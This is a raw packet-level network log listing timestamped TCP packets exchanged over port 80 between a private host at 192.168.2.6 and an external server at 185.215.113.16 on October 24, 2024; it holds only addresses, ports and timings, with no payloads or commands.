Oct 24, 2024 11:02:36.746295929 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.746310949 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.746335983 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.746337891 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.746350050 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.746365070 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.746383905 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.746386051 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.746397972 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.746409893 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.746412992 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.746423960 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.746450901 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.746511936 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.746546030 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.746699095 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.746718884 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.746732950 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.746745110 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.746757984 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.746764898 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.746778965 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.746814013 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.746826887 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.746849060 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.746855021 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.746861935 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.746872902 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.746885061 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.746890068 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.746906996 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.746969938 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.746980906 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.746994019 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.747005939 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.747019053 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.747025013 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.747031927 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.747042894 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.747055054 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.747065067 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.747076035 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.747087002 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.747087955 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.747096062 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.747123957 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.747201920 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.747215033 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.747226954 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.747239113 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.747261047 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.747268915 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.747272968 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.747293949 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.747303963 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.747308969 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.747328043 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.747350931 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.747363091 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.747374058 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.747374058 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.747387886 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.747410059 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.747458935 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.747469902 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.747482061 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.747509956 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.747514963 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.747529984 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.747539043 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.747541904 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.747554064 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.747564077 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.747577906 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.747579098 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.747592926 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.747596025 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.747627974 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.747644901 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.747657061 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.747668982 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.747680902 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.747690916 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.747719049 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.747740030 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.747762918 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.747775078 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.747792959 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.747807026 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.747818947 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.747829914 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.747840881 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.747842073 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.747853041 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.747864962 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.747869968 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.747903109 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.747911930 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.747924089 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.747936010 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.747947931 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.747977972 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.747996092 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.748008013 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.748054981 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.748178959 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.748192072 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.748203993 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.748215914 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.748226881 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.748231888 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.748236895 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.748250008 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.748256922 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.748261929 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.748280048 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.748308897 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.748331070 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.748342991 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.748356104 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.748358011 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.748367071 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.748380899 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.748403072 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.748485088 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.748502970 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.748516083 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.748527050 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.748538017 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.748542070 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.748549938 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.748558998 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.748562098 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.748574018 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.748585939 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.748586893 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.748595953 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.748605967 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.748608112 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.748620033 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.748641014 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.748667955 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.748706102 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.748729944 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.748742104 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.748764992 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.748769999 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.748790979 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.748807907 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.748856068 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.748887062 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.748898983 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.748909950 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.748920918 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.748939991 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.750046968 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.786720037 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.786740065 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.786753893 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.786788940 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.787044048 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.787064075 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.787075996 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.787087917 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.787103891 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.787115097 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.787127972 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.787139893 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.787153959 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.787158966 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.787194014 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.787259102 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.787271023 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.787281990 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.787293911 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.787302017 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.787306070 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.787331104 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.787336111 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.787348032 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.787358999 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.787365913 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.787370920 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.787389994 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.824867964 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.824892998 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.824906111 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.824937105 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.824954987 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.824966908 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.824979067 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.824980974 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.824991941 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.825004101 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.825016022 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.825048923 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.825050116 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.825061083 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.825083971 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.825170040 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.825181961 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.825193882 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.825205088 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.825217009 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.825220108 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.825227976 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.825239897 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.825249910 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.825252056 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.825283051 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.825301886 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.825313091 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.825345993 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.825423002 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.825434923 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.825453997 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.825465918 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.825472116 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.825478077 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.825483084 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.825489998 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.825501919 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.825515032 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.825525999 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.825525999 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.825539112 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.825553894 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.825558901 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.825572014 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.825572968 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.825582981 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.825601101 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.825608015 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.825618029 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.825618982 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.825656891 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.825715065 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.825726986 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.825738907 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.825750113 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.825759888 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.825772047 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.825772047 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.825795889 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.825812101 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.864398003 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.864413023 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.864475012 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.864505053 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.864526033 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.864537954 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.864561081 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.864598036 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.864614010 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.864629984 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.864672899 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.864684105 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.864696026 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.864706039 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.864729881 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.864773035 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.864783049 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.864903927 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.864923000 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.864933968 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.864936113 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.864960909 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.864980936 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.864991903 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.865003109 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.865009069 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.865037918 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.865062952 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.865073919 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.865083933 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.865097046 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.865108967 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.865135908 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.865154028 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.865165949 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.865199089 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.865233898 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.865245104 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.865256071 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.865267038 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.865276098 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.865309954 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.865345955 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.865398884 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.865432024 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.865449905 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.865461111 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.865472078 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.865500927 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.865531921 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.865544081 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.865554094 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.865564108 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.865576029 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.865576029 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.865587950 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.865593910 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.865616083 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.865619898 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.865627050 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.865633011 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.865650892 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.865658045 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.865663052 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.865674019 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.865681887 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.865684986 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.865695953 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.865703106 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.865725994 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.865725994 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.865736961 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.865747929 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.865753889 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.865767002 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.865778923 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.865787983 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.865796089 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.865803003 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.865807056 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.865814924 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.865832090 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.865839958 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.865845919 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.865863085 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.865876913 CEST	80	49756	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:36.865878105 CEST	49756	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:36.865886927 CEST	80	49756	185.215.113.16	192.168.2.6
